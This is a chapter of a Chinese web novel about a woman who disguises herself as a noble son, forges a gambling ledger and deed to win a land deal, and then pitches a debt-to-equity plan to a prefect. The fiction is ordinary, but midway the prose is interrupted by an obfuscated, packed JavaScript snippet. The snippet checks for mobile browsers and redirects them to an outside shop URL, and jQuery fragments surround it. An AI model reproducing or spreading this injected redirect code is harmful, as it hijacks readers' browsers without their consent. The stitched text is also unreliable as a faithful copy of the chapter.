16.高端的计谋,往往采用最朴素的手段(三)

作品:《绑定财务系统后我成了权臣

    “谎言是无数个细节。”


    姜琰自从知道福必成和余士玮的经历后便觉得光靠自己一张嘴糊弄他们三人是完全不够的,怎样才能在他们质疑自己时拿出有信服力的证据证明自己确实需要那一百亩田,那就需要动动脑子了。


    但怎样的动机才会让一个家世显赫的人自愿来到青州这种“穷乡僻壤”只为了买一百亩地?


    南胤土地兼并这么严重,哪里没有富农,哪里没有一百亩良田,他福必成何德何能能和易家做上交易?


    但倘若这个事情不能被易家人或者熟悉易家人的人知道呢?


    如果她伪装的此人因为某些原因不得不离开易家的势力范围并且迫切的需要一块不明不白的田地呢?


    “那这个人也违法不就行了。”


    姜琰想的很简单,买卖双方都违法,这样就相当于给对方也送了个把柄,大哥别笑二哥,即使对方心里疑惑,最起码也能起到安抚的心里作用。


    那天晚上她又打开了天眼查,看了下易家的组织结构,在里面找到了一个和她年龄差不多,自己又对对方名下比较熟悉的人,此人名叫易见山,二十岁,手底下有良田百亩,还有几个铺子,这人算是易家比较穷的了,他的爹娘兄长都比他有钱,最关键的是姜琰问了一圈儿,没人知道有易砚山这个人,知道的也说他深居简出,要不是得病了要不就残疾了。


    这简直是天选之人!


    于是她连夜做了一本账,还用ps把官府的章给抠下来贴在了自己伪造的地契上,上面清清楚楚的写了什么时间什么地点这笔钱去哪了,福必成又不是不谙世事的小孩,一看到“云梦”“琼楼”这种赌坊名字就知道怎么回事了。


    如果以上不能让他信服,那么最关键的一点也让她写进了账本里——这输掉的一百亩农田里,有易家主在青州的官田。


    姜琰查到了易家家主在青州为官时有宣帝拨赐的官田,南胤的官田是不可以买卖的,但可以世袭,所以“易见山”虽然不做官,但名下有官田是符合逻辑的。


    况且要是让人知道有易家子弟捅了这么大的篓子,还是因为赌博输掉的,那不仅是违法,更多的是丢人。


    对于这些世家大族来说,违法的话可以用各种手段来摆平,但是丢了面子,那可是要被同僚们耻笑的。


    所以当福必成看了一眼账本后就知道,这人其实和自己没什么区别。


    世家子弟又如何?还不是个赌鬼。


    都是被贪婪奴役的人罢了。


    福必成觉得眼前的人莫名的亲切起来了,相比他以前那拽的二五八万的样子,他觉得现在坐在他面前的人鲜活真实了起来——什么显贵公子,也和他差不多嘛,这人要不是含着金汤匙出生的,估计现在混得还不如他。


    三人签署完地契以后,福必成得意且虚伪地笑着问道:“易老弟,要不要去我庄园聚一聚啊?”


    姜琰看他一副自来熟的模样,面露鄙夷道:“福老板,本公子跟你很熟吗?”


    福必成明显卡了一下,讪笑道:“还……还行?”


    姜琰冲他翻了个白眼,踩着轿凳“蹬蹬蹬”地上了车。


    原本还腆着脸笑地福必成也装不下去了,还未等她离开,脸就拉了下来,目光阴沉地看向马车,等他们离开后,康日吉美滋滋地弹了下手中的地契:“大哥,咱们又挣了一笔。”


    福必成没理他,康日吉继续戳他道:“大哥!你怎么不说话了?”


    “大哥大哥大哥……”


    福必成被他烦得不行,差点反手给他一个巴掌,喝道:“你有病啊!叫什么!”


    康日吉被他吼懵了,呆呆地回道:“这可是金子啊……”


    福必成恶狠狠地瞪了他一眼道:“你就知道金子!你眼里只有钱!鼠目寸光的家伙,滚远点!”


    说完,只留下一脸懵逼的康日吉留在原地,自己气冲冲地走回了农庄。


    康日吉不明白福必成为什么突然发火,见他越走越远,直至听不见自己的声音,他才抬脚猛地将脚边石子踹飞:“不过是一个靠抱女人大腿爬上去的杀人犯而已,还不如我呢,牛什么牛!”


    他危险地眯起了眼睛,目光沉沉:“自己干得缺德事那么多,小心我都给你说出去!”


    “什么缺德事啊,康老爷你和我说说呗。”


    温柔冷静地女声在他背后响起。


    轰的一声,康日吉感觉自己背后发冷,浑身僵硬,他怎么也没想到背后会有人,对方悄无声息地就来到他的背后,一时间不知道是人还是鬼,想扭头去看但四肢僵劲不能动,只听对方又说道:


    “康老板为何不敢看我?觉得我是鬼吗?”


    女子笑了,娇甜的声音泠泠回荡在雨后刮着凉风的空气中,窸窣树叶声中一丝虚浮的少女笑声,让他抖了一下。


    他强撑着动了动脖子,一顿一顿地回过头,发现面前的女子笑得恬静,水蓝色的纱裙随风摇曳,如墨的秀发从肩上垂下,本应该是生动柔软的画面,却因为女子过于黑的瞳仁和苍白尖瘦的下巴而显得有些诡异。


    他磕磕巴巴地问道:“你……你是……”


    女子呵呵笑道:“我?”


    就在同时,身后的马车疾驰而来,一个梳着双髻的丫鬟跑过来道:“小姐?小姐你怎么跑这么快啊!”


    康日吉皱眉:“小姐?”


    女子慢悠悠地行了个礼:“您是康老板吧。”


    康日吉点点头。


    女子接着说道:“您不认识我,我却认识您,准确来说您也不算是完全不认识我,毕竟您脚下的地,都是我的,想来你肯定也听过我的名字。”


    康日吉惊恐地睁大眼睛道:“你、你是……”


    女子点点头道:“小女名叫姜琰,刘漓玥是我的生母,我今天来,是要拿回我母亲的田产的。”


    康日吉感觉自己脑子里嗡地一声炸开了,受不住地后退了一步:“你……你……”


    田都卖了怎么还回去啊!


    常禾掠过他,向前走去,见他还愣在原地,回首巧笑道:“我看这天就要变了,康老爷,咱们进去说吧?”


    与此同时——


    城中百姓们都在传,今日的府衙不太一样。


    城中商人们不知从哪里得知姜家不建渡口知府又开始重新目色实力雄厚的富商来修渡口,也不知道是谁传出来“这渡口建成以后能日进斗金”的谣言,一夜之间商会里有头有脸的商人竟然都争相来访,说自己愿意助田大人一臂之力,为自己的家乡做贡献,从街口到府衙门口的马车鳞次栉比,送礼的人几乎将府衙门槛踏破,这两天青州雨天较多,很多前来探路的小厮蹦跳着将地上的泥溅起来老高,很多养尊处优的富人看着这路这么磕碜都不愿意下脚,生怕脏了脚上的锦鞋。


    田知半也想修一下府衙门前的路了,倒不是因为这路不好看,而是不想让百姓觉得自己依靠的政府这么穷,让他们心里不好受。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050857|135439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他很久没有这么开心过了,越来越多的商人跑过来跟他说自己愿意出钱出力,他和几位主簿们咧着嘴接过他们的礼物,让他们去后厅里坐着稍等片刻,其实一开始他是站在门外的路上迎接的,那双布鞋已经在泥浆里泡烂,他的官府上也沾了不少污垢,后来经别人提醒才发现自己这样不得体,于是终于站在了门口,冷风吹过时他的双脚被冻得发麻,甚至还有些疼,但他却一点也不冷,他感觉自己的心脏在不断地向外泵出热血。


    一下又一下,一个又一个。


    商人们很热情,他们商量了很久,资金的问题是解决了,但还有一个问题就是,如何和他们分利呢?


    府衙的官员们讨论了很久,有说倘若盈利先把钱还给商人的,但很快被人反对——这样其实亏损太大,不利于渡口持续性发展;还有说按期偿还富商的,但问题又来了,怎么还呢?按什么还呢?


    怎样做到公平的同时又能维护府衙或者说青州的最大利益呢?


    田知半望着天,长长叹了口气,宦海浮沉,勾心斗角的事情多了去了,可真要遇到这种难题,可不是比心眼子就行的。


    他需要一个极具算学天赋的人来解决这个事情。


    或者来一个对商业非常了解的人也行。


    他想不到有谁能解决这个问题,毕竟同僚们也没搞过这种“让商人建官家渡口”“离经叛道”的事情。


    他现在甚至不敢回京,他已经能想象到回京后在朝上谏议院那些御史指着他鼻子骂的场景了。


    他的眼眶突然有些酸涩,可能是看天太久了吧,他强迫自己回过神来,此时白天来府衙的商人们已经离开了,偌大的前院里,只有他和一位小吏站在门口。


    “把门关了罢。”他无力地说道。


    “是。”


    正在门即将合上之时,门外突然有人朗声道:“草民易见山求见!”


    田知府一向秉持着“民有问,必答之”的原则,一听他说“草民”以为又有冤案,于是拦住小厮,让他把门打开,之前面前的男子一身明黄锦袍,袖镶金边,黑发束起以镶碧鎏金冠固定,即使静静站在那里,也是神韵超然。


    只不过和他这张扬的衣着比起来,他的脸也太过于秀气了。


    像个粉嫩的小公子,更像个富贵人家的千金。


    田知半笑道:“草民?公子莫不是在说笑?到底有什么事?”


    这人的穿着打扮比今天所有来府衙作客的富商们还要华贵,这么有钱来他这里做什么,也是来送钱的?


    姜琰笑道:“倒是无事,不过草民昨晚做了一个梦,梦中似有天人对我说了一句话,我思来想去不懂,请大人帮我解解惑。”


    田知半看这人有些疯癫,本不想搭理的,但又实在好奇他接下来想说什么,于是回道:“公子若是不懂,可以说给下官听听。”


    姜琰道:“仙人对我说,从前有个官员,他觉得当地洪涝严重,于是想要兴修水利,可当地积贫已久,根本没钱建,朝廷也不管,于是他想了个法子——召集当地所有的有钱人,让他们出钱,但这钱也不是他们募捐的,得还,所以他和富人们商议,将这些债务按他们出资的比例偿还


    可很快他又发现这样不行,因为水坝不挣钱,于是他又想了个法子——将他们的债务关系转换为股权关系,在年终时计算政府这一年的收入,按照出资比例连本带息归还原来修建水坝的钱。”


    仙人说这叫债转股·古代版。